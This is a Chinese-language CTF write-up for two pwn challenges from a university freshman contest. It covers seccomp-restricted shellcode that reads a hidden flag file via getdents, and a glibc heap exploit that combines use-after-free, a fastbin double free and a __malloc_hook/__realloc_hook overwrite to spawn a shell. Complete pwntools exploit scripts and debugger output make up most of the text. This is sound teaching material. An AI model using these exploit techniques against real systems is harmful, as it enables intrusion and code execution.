---
# System prepended metadata

title: 成大迎新盃 Write up

---

# 成大迎新盃 Write up
來寫一些酷酷的 pwn 題吧

## pwn

## Yet Another Username and Password Checker Revenge
就是可以寫一個 shellcode，那一段是可寫可執行的，下面有明顯的 `bof` ，只是他有開 `seccomp`
```cpp
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  void *addr; // [rsp+28h] [rbp-8h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  addr = (void *)((unsigned __int64)&username & 0xFFFFFFFFFFFFF000LL);
  mprotect((void *)((unsigned __int64)&username & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
  apply_seccomp();
  puts("Welcome to Yet Another Username and Password Checker Revenge!");
  printf("Username: ");
  read(0, &username, 0x28uLL);
  printf("Password: ");
  read(0, buf, 0x40uLL);
  puts("Wrong username/password! Please try again.");
  return 0;
}
```
來看看他能用什麼吧:
```bash
┌─[rota1001@rota1001] - [~/NCKUCTF] - [Tue Oct 15, 11:47]
└─[$] <> seccomp-tools dump ./yaupc-revenge
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x15 0x00 0x01 0x00000003  if (A != close) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0014
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0014: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0016
 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0016: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0018
 0017: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0018: 0x15 0x00 0x01 0x0000004e  if (A != getdents) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x15 0x00 0x01 0x0000013e  if (A != getrandom) goto 0022
 0021: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0022: 0x15 0x00 0x01 0x0000000c  if (A != brk) goto 0024
 0023: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0024: 0x15 0x00 0x01 0x00000059  if (A != readlink) goto 0026
 0025: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0026: 0x15 0x00 0x01 0x0000000f  if (A != rt_sigreturn) goto 0028
 0027: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0028: 0x06 0x00 0x00 0x00000000  return KILL
```
看起來基本的 `orw` 都可以開，看看能不能讀 `flag` 吧，可是 `flag` 的名稱不知道，只知道他在某個資料夾下。這個時候去看看還有什麼東西可以用。查了資料發現 `getdents` 可以將以某個將以某個 `file descripter` 開啟的資料夾裡面的東西寫到某個記憶體位置上。於是我們進行以下步驟：
- `open` 開啟資料夾
- `getdents` 寫到可寫的記憶體位置
- `write` 把東西寫到 `stdout`

另外出現一個小問題，`username` 那裡只能寫 `0x28` 個 bytes，但是我們的 shellcode 太長了，於是我們可以先去呼叫 `read` ，讀 shellcode 到我們執行完 `read` 的那裡，執行完後就會開始執行我們的 shellcode

我首先先去看 `flag` 的名稱：
```python
from pwn import *

r = remote("chall.nckuctf.org", 29105, level="debug")
elf = context.binary = ELF("./yaupc-revenge")

sc = 0x4040A0
payload = asm(shellcraft.read(0, sc + 23, 500))
print(len(payload))

r.sendafter(b": ", payload)
r.sendafter(b": ", b"a" * 56 + p64(sc))

payload = shellcraft.open("/home/yaupc-revenge/")
payload += shellcraft.getdents(3, 0x405000, 500)

payload += shellcraft.write(1, 0x405000, 500)
payload = asm(payload)
print(len(payload))
r.sendafter(b"\n", payload)
r.interactive()
```
然後會發現 `flag` 的名稱是 `flag_34a611c6f7934545f1f0c13a61ee2eea`
接下來就去讀檔：
```python
from pwn import *

r = remote("chall.nckuctf.org", 29105, level="debug")
elf = context.binary = ELF("./yaupc-revenge")

sc = 0x4040A0
payload = asm(shellcraft.read(0, sc + 23, 500))
print(len(payload))

r.sendafter(b": ", payload)
r.sendafter(b": ", b"a" * 56 + p64(sc))

payload = shellcraft.open("/home/yaupc-revenge/flag_34a611c6f7934545f1f0c13a61ee2eea", 0)
payload += shellcraft.read(3, 0x405000, 500)
payload += shellcraft.write(1, 0x405000, 500)
payload = asm(payload)
print(len(payload))
r.sendafter(b"\n", payload)
r.interactive()
```
就可以得到  `flag` : ||NCKUCTF{U_r3a11Y_UNd3rst4nd_SeCc0Mp_anD_Sh31LC0d3_e3da68cc2ca0375a61d305273692b4be}||

## babyheap
他是一個可以增加新的任意大小的記憶體，傳任意筆記上去，然後可以刪除，或是輸出筆記的內容。會發現，他在 `free`  之後不會把指標清空，所以有 `UAF` 漏洞。然後 `unsorted_bin` 的尾端會接到 `main_arena`，他是在 `libc` 上的東西，所以我們可以透過把東西 `free` 到 `unsorted bin` 再 `show` 來 leak libc address。要注意的是不要讓他和 `top chunk` 合起來就好。
```python
add(0x100, b"a")
add(0x100, b"a")
#off = 31285248
delete(0)
delete(1)

libc.address = u64(show(0)[:-1].ljust(8, b"\x00")) - 0x3c4b78
print(hex(libc.address))
```
接下來我們要去控制 `rip`，方法是去修改 `malloc_hook`，當我們在呼叫 `malloc` 時，如果他不是 `0` 的話，那麼 `rip` 就會跳上去他所存的記憶體位置，所以我們可以修改他來控制 `rip`。
因為 `free` 完不會清空指針，而他 `free` 時只會檢查指針是不是 `NULL`，所以可以做到 `double free`。我們在 `fastbin` 上做到這件事，只要讓兩次的 `free` 出來的 block 不要在 `fastbin` 中相鄰就好。
```python
add(0x60, b"a") # 2
add(0x60, b"a") # 3
delete(2)
delete(3)
delete(2)
```
這樣的話，我們在 `fastbin` 中就有兩個相同的 block，我們可以先把一個弄出來，然後把他的內容前八個 bytes 變成我們想修改的位置。接下來在把第二個 block 拿出來的時候，他的下一個 block 就會變成我們想改的位置，再把他拿出來就能改裡面的值。現在的問題是當他在從 `fastbin` 中拿出一個東西時會去檢查看看他是不是一個合法的 `block`，所以我們要去找一個看起來像是真的 block，而且又在那附近的記憶體位置。我們可以在 `gdb` 中用以下指令：
```bash
pwndbg> find_fake_fast 0x7906299c4b10 0x7f
Searching for fastbin size fields up to 0x70, starting at 0x7906299c4aa8 resulting in an overlap of 0x7906299c4b10
FAKE CHUNKS
Fake chunk | PREV_INUSE
Addr: 0x7906299c4aed
prev_size: 0x6299c3260000000
size: 0x78 (with flag bits: 0x79)
fd: 0x629685e20000000
bk: 0x629685a00000079
fd_nextsize: 0x79
bk_nextsize: 0x00

pwndbg> pi hex(0x7906299c4b10-0x7906299c4aed)
'0x23'
```
會發現，我們可以找到一個大小為 0x70 的 block (如果去掉 header 的話是 0x60)，然後他的位置在 `__malloc_hook - 0x23` 的地方（這個位置是 header 的位置，實際上分配到的是 `__malloc_hook - 0x13`），於是我們可以用這個 block 來蓋到 `__malloc_hook`。然後我們找一個 one_gadget 塞到上面，發現沒有可以用的 one_gadget，怎麼辦呢？
這個時候就要用到 `__realloc_hook`。因為呼叫 `realloc` 的時候前面有很多的 `push`，可以用他們來調整 `rsp` 的位置，讓 `one gadget` 可以用（這裡就是漫長的 gdb 時間了），而 `__realloc_hook` 的位置是在 `__malloc_hook` 前面的那八個 bytes，可以簡單的蓋掉。
```python
add(0x60, p64(libc.sym["__malloc_hook"] - 0x23)) # 4
add(0x60, b"a") #5
add(0x60, b"a") #6
one_gadget = p64(libc.address + 0xf1147)
realloc = p64(libc.address + 0x846D4)
# 0xf02a4
# 0xf1147

print(hex(u64(one_gadget)))
add(0x60, b"a" * (0x13 - 8) + one_gadget + realloc) #7
```
最後去隨便呼叫一下 `malloc` 就可以執行 shell 了，以下是完整的 exploit:
```python
from pwn import *


# r = process("./chal", level="debug")
# r = process("./chal")
r = remote("chall.nckuctf.org", 29104)
elf = context.binary = ELF("./chal")
libc = ELF("./libc.so.6")
raw_input()

def add(size: int, data: bytes):
    r.sendlineafter(b">\n", b"1")
    r.sendlineafter(b":", str(size).encode())
    if data != b"":
        r.sendlineafter(b":", data)

def delete(idx: int):
    r.sendlineafter(b">\n", b"3")
    r.sendlineafter(b":", str(idx).encode())

def show(idx: int):
    r.sendlineafter(b">\n", b"2")
    r.sendlineafter(b":", str(idx).encode())
    return r.recvline()

add(0x100, b"a")
add(0x100, b"a")
#off = 31285248
delete(0)
delete(1)

libc.address = u64(show(0)[:-1].ljust(8, b"\x00")) - 0x3c4b78
print(hex(libc.address))

# 0x3c4b10
add(0x60, b"a") # 2
add(0x60, b"a") # 3
delete(2)
delete(3)
delete(2)
print(hex(libc.sym["__malloc_hook"]))

add(0x60, p64(libc.sym["__malloc_hook"] - 0x23)) # 4
add(0x60, b"a") #5
add(0x60, b"a") #6
one_gadget = p64(libc.address + 0xf1147)
realloc = p64(libc.address + 0x846D4)
# 0xf02a4
# 0xf1147

print(hex(u64(one_gadget)))
add(0x60, b"a" * (0x13 - 8) + one_gadget + realloc) #7
add(0x20, b"")
r.interactive()
```